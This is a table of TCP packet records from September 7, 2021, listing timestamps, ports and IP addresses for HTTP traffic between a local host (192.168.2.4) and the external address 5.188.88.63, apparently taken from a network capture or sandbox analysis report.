Sep 7, 2021 16:03:06.215142012 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.215198040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.215354919 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.289248943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.289288044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.289350986 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.290683031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290715933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290736914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290757895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290777922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290801048 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290823936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290827990 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.290847063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290857077 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.290869951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290891886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290900946 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.290913105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290935040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.290935040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290956020 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290976048 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.290991068 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.290997982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291017056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291030884 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291043043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291060925 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291064024 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291085005 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291105986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291121960 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291156054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291167974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291179895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291196108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291218042 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291234970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291258097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291259050 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291275978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291282892 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291295052 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291312933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291331053 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291354895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291366100 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291373968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291392088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291410923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291430950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291433096 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291452885 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291455984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291479111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291486025 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291501999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291507959 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291518927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291534901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291558027 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291562080 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291575909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291594028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291616917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291619062 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291634083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291654110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291660070 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291671991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291687012 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291688919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291713953 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291729927 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291737080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291739941 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291757107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291779041 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291795969 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291800976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291819096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291837931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291841984 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291861057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291868925 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291887045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291906118 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291925907 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291929007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291953087 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291961908 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.291969061 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.291990042 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292015076 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292021990 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292041063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292054892 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292067051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292090893 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292094946 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292118073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292143106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292145014 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292165995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292186022 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292202950 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292208910 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292232037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292241096 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292256117 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292279959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292289019 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292304039 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292329073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292335033 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292355061 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292383909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292391062 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292408943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292433023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292443037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292453051 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292471886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292490959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292496920 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292510986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292529106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292556047 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292557001 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292582989 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292584896 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292608023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292623043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292633057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292656898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292661905 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292679071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292702913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292714119 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292721987 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292742014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292761087 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292763948 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292779922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292798042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292814016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292840004 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292850018 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292865038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292887926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.292896032 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.292947054 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.362592936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.363240957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.363409042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368359089 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368387938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368406057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368422985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368434906 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368451118 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368469000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368484974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368500948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368514061 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368563890 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368604898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368637085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368664026 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368664980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368689060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368711948 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368711948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368733883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368758917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368782043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368791103 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368804932 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368825912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368834019 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368846893 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368858099 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368870974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368885994 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368895054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368917942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368942976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368943930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.368966103 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368987083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.368997097 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369008064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369029045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369035959 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369051933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369072914 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369074106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369096994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369121075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369127989 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369142056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369154930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369162083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369182110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369200945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369210005 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369225025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369242907 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369247913 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369265079 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369285107 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369287968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369307995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369324923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369333029 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369345903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369364977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369368076 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369381905 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369402885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.369406939 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.369467974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.426590919 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443242073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443295956 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443320036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443339109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443368912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443392038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443391085 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443417072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443428040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443440914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443465948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443480968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443490028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443514109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443526030 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443537951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443577051 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443594933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443614006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443638086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443655014 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443660021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443684101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443706036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443706989 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443727970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443736076 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443751097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443773031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443793058 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443794966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443819046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443825960 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443842888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443864107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443886995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443902016 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443907976 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443928957 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443928957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443953037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443974018 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.443974972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.443998098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444005013 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444020033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444039106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444051981 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444060087 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444078922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444092989 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444097996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444118023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444138050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444159985 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444163084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444179058 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444186926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444209099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444226980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444233894 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444250107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444266081 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444274902 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444298983 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444315910 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444322109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444344044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444365025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444365025 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444386959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444391012 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444410086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444427013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444446087 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444464922 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444470882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444499969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444516897 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444523096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444541931 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444546938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444567919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444580078 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444588900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444607973 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444622993 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444628000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444648981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444670916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444693089 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444694996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444714069 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444717884 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444741964 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444749117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444765091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444787979 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444808960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444818020 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444828033 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444839001 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444849968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444870949 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444890976 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.444892883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444916010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.444926977 CEST	49772	80	192.168.2.4	5.188.88.63
